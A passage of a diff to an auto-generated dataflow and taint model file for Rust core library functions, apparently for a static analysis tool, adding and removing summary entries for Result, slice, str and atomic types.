"Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IntoIter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IntoIter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IntoIter::inner]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue.Field[crate::result::Iter::inner]", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::Iter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::Iter::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::Iter::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IterMut::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next_back", "Argument[self].Field[crate::result::IterMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IterMut::inner].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::next", "Argument[self].Field[crate::result::IterMut::inner]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::result::Result::Err(0)].Reference", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Break(0)].Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::branch", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::ops::control_flow::ControlFlow::Continue(0)]", "value", "dfc-generated"] - ["lang:core", "::from_output", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] @@ -1124,6 +1530,7 @@ extensions: - ["lang:core", "::and", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Ok(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["lang:core", "::and_then", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::as_deref", "Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_deref_mut", "Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::as_mut", "Argument[self].Reference.Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Reference", "value", "dfc-generated"] @@ -1132,7 +1539,6 @@ extensions: - ["lang:core", "::as_ref", "Argument[self].Reference.Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - - ["lang:core", "::cloned", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::copied", "Argument[self].Field[crate::result::Result::Ok(0)].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] - ["lang:core", "::err", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -1151,6 +1557,7 @@ extensions: - ["lang:core", "::iter", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::iter_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::map", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["lang:core", "::map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[1]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[0].ReturnValue", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[self].Field[crate::result::Result::Err(0)].Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::sync::mpsc::TrySendError::Disconnected(0)]", "value", "dfc-generated"] - ["lang:core", "::map_err", "Argument[self].Field[crate::result::Result::Err(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] @@ -1177,12 +1584,11 @@ extensions: - ["lang:core", "::unwrap_or", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_default", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Err(0)].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Err(0)]", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["lang:core", "::unwrap_or_else", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unwrap_unchecked", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::ArrayChunks::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] @@ -1190,7 +1596,6 @@ extensions: - ["lang:core", "::remainder", "Argument[self].Field[crate::slice::iter::ArrayChunks::rem]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_remainder", "Argument[self].Field[crate::slice::iter::ArrayChunksMut::rem]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::count", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::last", "Argument[self].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::ArrayWindows::num]", "ReturnValue.Field[1].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::ChunkBy::slice]", "value", "dfc-generated"] @@ -1256,17 +1661,25 @@ extensions: - ["lang:core", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RChunksMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RChunksMut::chunk_size]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::RSplit::inner].Reference", "ReturnValue.Field[crate::slice::iter::RSplit::inner]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::RSplit::inner]", "ReturnValue.Field[crate::slice::iter::RSplit::inner]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplit::inner].Field[crate::slice::iter::Split::pred]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitMut::inner].Field[crate::slice::iter::SplitMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitMut::inner].Field[crate::slice::iter::SplitMut::pred]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::as_slice", "Argument[self].Field[crate::slice::iter::Split::v]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::Split::v]", "value", "dfc-generated"] @@ -1280,11 +1693,14 @@ extensions: - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitInclusive::pred]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::pred]", "value", "dfc-generated"] - - ["lang:core", "::finish", "Argument[self].Field[crate::slice::iter::SplitMut::v]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitMut::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitMut::pred]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::size_hint", "Argument[self].Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "ReturnValue.Field[0]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::slice::iter::Windows::size]", "ReturnValue.Field[crate::slice::iter::Windows::size]", "value", "dfc-generated"] @@ -1301,28 +1717,26 @@ extensions: - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::slice::iter::Windows::v]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::slice::iter::Windows::size]", "value", "dfc-generated"] - ["lang:core", "::call", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::error_len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::valid_up_to", "Argument[self].Field[crate::str::error::Utf8Error::valid_up_to]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::nth", "Argument[self].Field[crate::str::iter::Bytes(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next_back", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::last", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::str::iter::CharIndices::front_offset]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[0]", "value", "dfc-generated"] - ["lang:core", "::offset", "Argument[self].Field[crate::str::iter::CharIndices::front_offset]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::str::iter::EncodeUtf16::extra]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::str::iter::MatchIndicesInternal(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::MatchIndicesInternal(0)].Reference", "ReturnValue.Field[crate::str::iter::MatchIndicesInternal(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clone", "Argument[self].Field[0].Reference", "ReturnValue.Field[crate::str::iter::MatchesInternal(0)]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::MatchesInternal(0)].Reference", "ReturnValue.Field[crate::str::iter::MatchesInternal(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -1331,7 +1745,6 @@ extensions: - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitInternal::matcher].Reference", "ReturnValue.Field[crate::str::iter::SplitInternal::matcher]", "value", "dfc-generated"] - - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitInternal::matcher]", "ReturnValue.Field[crate::str::iter::SplitInternal::matcher]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitNInternal::iter].Reference", "ReturnValue.Field[crate::str::iter::SplitNInternal::iter]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::str::iter::SplitNInternal::iter]", "ReturnValue.Field[crate::str::iter::SplitNInternal::iter]", "value", "dfc-generated"] @@ -1359,75 +1772,105 @@ extensions: - ["lang:core", "::haystack", "Argument[self].Field[crate::str::pattern::StrSearcher::haystack]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::get_mut_slice", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::into_inner", 